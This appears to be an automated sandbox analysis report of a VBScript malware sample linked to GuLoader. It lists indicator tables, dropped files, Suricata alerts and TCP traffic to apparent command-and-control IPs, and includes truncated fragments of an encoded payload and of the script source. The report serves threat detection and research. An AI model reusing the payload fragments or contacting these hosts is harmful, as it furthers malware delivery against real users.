Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	FjfZ7uM8zh.lnk	Get hash	malicious	Unknown	Browse	217.20.58.100
	t5lpvahkgypd7wy.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	217.20.58.98
	update0.bat	Get hash	malicious	Abobus Obfuscator	Browse	217.20.58.100
	A file has been sent to you via DROPBOX.pdf	Get hash	malicious	Unknown	Browse	217.20.58.100
	VKJITO.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	212.229.88.4
	GV7DzNoqCI.exe	Get hash	malicious	Unknown	Browse	217.20.58.100
	99awhy8l.exe	Get hash	malicious	LummaC	Browse	217.20.58.100
	LA0gY3d103.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	217.20.48.24
	YcxjdYUKIb.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	217.20.58.98
	LA0gY3d103.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	217.20.58.100

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	InvoiceNr274728.pdf.lnk	Get hash	malicious	LummaC	Browse	208.91.198.106
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	103.53.42.63
	s0zqlmETpm.lnk	Get hash	malicious	Unknown	Browse	216.10.240.70
	Quote_8714.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	S1a5ZF3ytp.vbs	Get hash	malicious	GuLoader	Browse	103.53.42.63
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	103.53.42.63
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse	103.53.42.63
	h0UP1BcPk5.lnk	Get hash	malicious	Unknown	Browse	216.10.240.70
	Ti5nuRV7y4.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
A2HOSTINGUS	t5lpvahkgypd7wy.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	209.124.66.28
	Memo - Impairment Test 2023 MEX010B (5).js	Get hash	malicious	Unknown	Browse	66.198.240.43
	236236236.elf	Get hash	malicious	Unknown	Browse	68.66.200.215
	sh4.elf	Get hash	malicious	Unknown	Browse	68.66.210.5
	rebirth.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	185.148.129.20
	https://sunnycloudtechnologies.com/suncn/msd.html	Get hash	malicious	HTMLPhisher	Browse	68.66.226.73
	rebirth.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	185.149.112.83
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	209.124.66.28
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	209.124.66.28
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse	209.124.66.28

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	BJtvb5Vdhh.exe	Get hash	malicious	Quasar	Browse	103.53.42.63 209.124.66.28
	HquJT7q6xG.exe	Get hash	malicious	Quasar	Browse	103.53.42.63 209.124.66.28
	hKvlV6A1Rl.exe	Get hash	malicious	Quasar	Browse	103.53.42.63 209.124.66.28
	kqeGVKtpy2.exe	Get hash	malicious	Quasar	Browse	103.53.42.63 209.124.66.28
	LFLtlBAuf7.exe	Get hash	malicious	Quasar	Browse	103.53.42.63 209.124.66.28
	O9MV0lNEO5.exe	Get hash	malicious	Quasar	Browse	103.53.42.63 209.124.66.28
	RegAsm.exe	Get hash	malicious	Quasar	Browse	103.53.42.63 209.124.66.28
	truepepe-qt.exe	Get hash	malicious	Quasar	Browse	103.53.42.63 209.124.66.28
	FjfZ7uM8zh.lnk	Get hash	malicious	Unknown	Browse	103.53.42.63 209.124.66.28
	yswmdaREME.lnk	Get hash	malicious	Unknown	Browse	103.53.42.63 209.124.66.28

Process:	C:\Windows\System32\wscript.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.144086598890895
Encrypted:	false
SSDEEP:	6:kKM9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:XDnLNkPlE99SNxAhUe/3
MD5:	A617E513047BE541C8E87B7B531F8227
SHA1:	6E39D2C77AE81D1DFEB6A18C7D91A15B53554A73
SHA-256:	96A279E5E467D51870F7A7120F66EEA2CF4F95AF0EC6ADB273F61AAA842E5448
SHA-512:	05660F8B3BABFF372C450AAADDE045D3183E9E8841A5E9A893AE04FE691445B4F19DD05A4E60808A61029B5F2D63E0D775577B9D9A08D19872FAB574A19F90AA
Malicious:	false
Preview:	p...... ........j....R..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.8908305915084105
Encrypted:	false
SSDEEP:	192:yVsm5eml2ib4LxoeRm3YrKkzYFQ9smKp5pVFn3eGOVpN6K3bkkjo5xgkjDt4iWNH:yCib4PYbLVoGIpN6KQkj2qkjh4iUx6iP
MD5:	FE1902820A1CE8BD18FD85043C4D9C5C
SHA1:	62F24EAE4A42BA3AE454A6FAB07EF47D1FE9DFD6
SHA-256:	8BBDC66564B509C80EA7BE85EA9632ACD0958008624B829EA4A24895CA73D994
SHA-512:	8D1BADE448F0C53D6EC00BC9FACDBCB1D4B1B7C61E91855206A08BDBF61C6E4A40210574C4193463C8A13AE692DD80897F3CE9E39958472705CF17D77FE9C1D9
Malicious:	false
Preview:	PSMODULECACHE.....$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module........Find-Command........Unregister-PSRepository........Get-InstalledScript........Get-DynamicOptions........Add-PackageSource........Register-PSRepository........Find-DscResource........Publish-Script........Find-RoleCapability........Uninstall-Package........Get-PackageDependencies........pumo........fimo........Find-Script........Initialize-Provider........Get-PackageProviderName........Test-ScriptFileInfo........Get-InstalledModule........Update-ScriptFileInfo........Get-InstalledPackage........Resolve-PackageSource........Uninstall-Module........inmo........Remove-PackageSource........Update-Script........Uninstall-Script........Update-ModuleManifest........Get-Feature........Install-Module........Install-Package........New-ScriptFileInfo...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eky2a01s.2br.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lwkhhwjd.plx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_og2eey3y.42o.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rjfgseyu.aek.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Pharmacists201.Str

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	439600
Entropy (8bit):	5.9526236940028125
Encrypted:	false
SSDEEP:	6144:la+3GgdfLk97Dj0C0qyHZKu3mz+cpMcGAbovF83nbyXMkAP2JLvwQOKtaUOhh:laqLkxj/0qOZKtiyLK3LinRhh
MD5:	DBC57B25AD339954CEB6C4FED816E2A1
SHA1:	DFDA4C0606842ED2A9D4C46E5B25FB3D23764787
SHA-256:	5F7AD2BAFBD491F7CD57D84B036CFA1A4DC1875FF66904FABB6DEE7FCD99A7A8
SHA-512:	74134DBE583197813697DCB19CA5D828288738D4D8CCD28FA8637436278ECF19F243963C2B5145A660A949CE4D470FBB8CB0BF088360262B575A39FBD6C2872D
Malicious:	false
Preview:	cQGbcQGbu+2RHADrAl+X6wKFwwNcJARxAZtxAZu5zSkuVHEBm+sCUJ+B8X9sjGLrAsgUcQGbgcFOul3JcQGb6wJQpXEBm3EBm7p6wSmYcQGbcQGbcQGb6wKODDHK6wImUOsCzH2JFAvrAjPlcQGb0eLrAvaQcQGbg8EEcQGb6wL4HIH506BEA3zK6wJlResCIRmLRCQEcQGb6wL/E4nDcQGbcQGbgcPTDMEBcQGbcQGburRrSEJxAZtxAZuBwi5HYeHrAh9J6wKijYHq4rKpI3EBm+sC0nXrAq1b6wKNR+sCEqTrAvE0iwwQ6wIfXusCil6JDBNxAZvrAkR3QusCht7rAnE4gfq8mgQAddJxAZtxAZuJXCQM6wJ8Y3EBm4HtAAMAAOsCeGJxAZuLVCQIcQGbcQGbi3wkBHEBm+sCyPOJ63EBm3EBm4HDnAAAAHEBm+sCGQ1T6wKCl3EBm2pAcQGb6wJ8qonr6wIw6esCyRzHgwABAAAAQGQD6wLruusClY2BwwABAABxAZvrAsKZU3EBm3EBm4nr6wJq6XEBm4m7BAEAAHEBm+sCvWaBwwQBAABxAZvrAiP0U+sCFsBxAZtq/3EBm+sCUziDwgVxAZvrAvOgMfbrArpt6wK6yzHJ6wKfu3EBm4sacQGb6wJZFkHrAlFN6wJhoTkcCnXycQGbcQGbRusCD6FxAZuAfAr7uHXdcQGbcQGbi0QK/OsCrcFxAZsp8HEBm+sCEV7/0usCzXpxAZu6vJoEAOsCk2nrAlwOMcBxAZvrAhY8i3wkDHEBm+sCsPOBNAcpkn0hcQGb6wJ+AoPABHEBm3EBmznQdeVxAZvrAuh9ifvrAqmK6wKZHv/XcQGb6wK79cGSfSEpyUXyoHe6ZIlUGOIuEwiBRpWLaqjn3UJyZPCgXDK3G+pTMd5kMgjbfBauqMwrFe9UMPzQJVtBC6hjT9gfI4vgF/RE4KhTvyChVBvW7qjdGc9VOSwpCeQWGxM5LClY

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.205131936768175
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	v4BET4inNV.vbs
File size:	28'687 bytes
MD5:	8b310411b49580ae8d67a2ed916bad17
SHA1:	5eb38f0da8298d117c1c435246959c90abe23da6
SHA256:	3cf4bcb55cd5a352b25c180acce977e652863d8ed09d07335aed81dbc56520f2
SHA512:	6b1153e6818577a972cd14f94d1e71af5822e7b8fd993d500fb812521f67458734b93a56875d1af8b945f8040413b7554e319e716746895d8150dc02f49cfbec
SSDEEP:	384:fguDcFaRXMKLd6QLJ3tbuqH3xa0sy5kpXI7JsO1/5+KpKalFZQ:IrocQdXnuqH3c0sy5kpXI1X1/ZKGFK
TLSH:	ECD207B65DC2296787CEF772CD0B18E6AFA401E61132002F297F766C541921BF52AC6F
File Content Preview:	....'mazurkaerne indkringsfase reflexives243! triptllers, realisationsprisen35!..........Set Ikld = CreateObject("HNetCfg.FwMgr")....Set residualluftens = Ikld.LocalPolicy.CurrentProfile....'Guruernes artikulatoriskes sparringpartneres lydside:..Set Vandk

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T12:35:22.985120+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49706	209.124.66.28	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 12:35:13.744529963 CET	49705	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:13.744590044 CET	443	49705	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:13.744668007 CET	49705	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:13.756479979 CET	49705	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:13.756522894 CET	443	49705	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:15.171813011 CET	443	49705	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:15.172055006 CET	49705	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:15.177958965 CET	49705	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:15.177992105 CET	443	49705	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:15.178338051 CET	443	49705	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:15.191365957 CET	49705	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:15.239341974 CET	443	49705	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:16.191055059 CET	443	49705	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:16.191124916 CET	443	49705	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:16.191184044 CET	49705	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:16.195498943 CET	49705	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:20.717418909 CET	49706	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:20.717473984 CET	443	49706	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:20.717561007 CET	49706	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:20.717848063 CET	49706	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:20.717859983 CET	443	49706	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:22.076843977 CET	443	49706	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:22.079977989 CET	49706	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:22.080017090 CET	443	49706	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:22.985234976 CET	443	49706	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:22.985306978 CET	443	49706	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:22.985548973 CET	49706	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:23.008485079 CET	49706	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:23.008955956 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:23.009013891 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:23.009103060 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:23.009409904 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:23.009423018 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:24.369237900 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:24.369362116 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:24.371687889 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:24.371710062 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:24.371973991 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:24.372836113 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:24.419338942 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.352475882 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.395119905 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:25.395152092 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.441847086 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:25.472054958 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.472065926 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.472141981 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.472187996 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.472229004 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:25.472238064 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.472275019 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.472455978 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:25.472456932 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:25.519942045 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:25.594458103 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.594470024 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.594486952 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.594495058 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.594549894 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:25.594615936 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.594660997 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:25.594701052 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:25.634903908 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.634927988 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.634991884 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:25.635018110 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.635042906 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:25.635077953 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:25.737647057 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.737721920 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:25.737754107 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.737812996 CET	443	49708	209.124.66.28	192.168.2.5
Dec 19, 2024 12:35:25.737862110 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:25.738122940 CET	49708	443	192.168.2.5	209.124.66.28
Dec 19, 2024 12:35:30.911007881 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:30.911051989 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:30.911129951 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:30.911464930 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:30.911477089 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:32.831784010 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:32.831980944 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:32.835200071 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:32.835222006 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:32.835619926 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:32.843307018 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:32.883335114 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:33.657102108 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:33.657136917 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:33.657423019 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:33.657444000 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:33.707490921 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:33.895749092 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:33.895770073 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:33.895962000 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:33.920803070 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:33.920835972 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:33.920953989 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:33.954349995 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:33.954370022 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:33.954483986 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.143148899 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.143332005 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.157840967 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.158112049 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.175854921 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.175954103 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.199744940 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.200058937 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.217524052 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.217654943 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.235310078 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.235466957 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.253010035 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.253137112 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.396756887 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.396914005 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.402333975 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.402458906 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.409682989 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.409835100 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.414908886 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.415055037 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.421060085 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.421205044 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.427141905 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.427284002 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.435466051 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.435621977 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.442188025 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.442322969 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.447586060 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.447715044 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.453998089 CET	443	49728	103.53.42.63	192.168.2.5
Dec 19, 2024 12:35:34.454125881 CET	49728	443	192.168.2.5	103.53.42.63
Dec 19, 2024 12:35:34.461718082 CET	443	49728	103.53.42.63	192.168.2.5
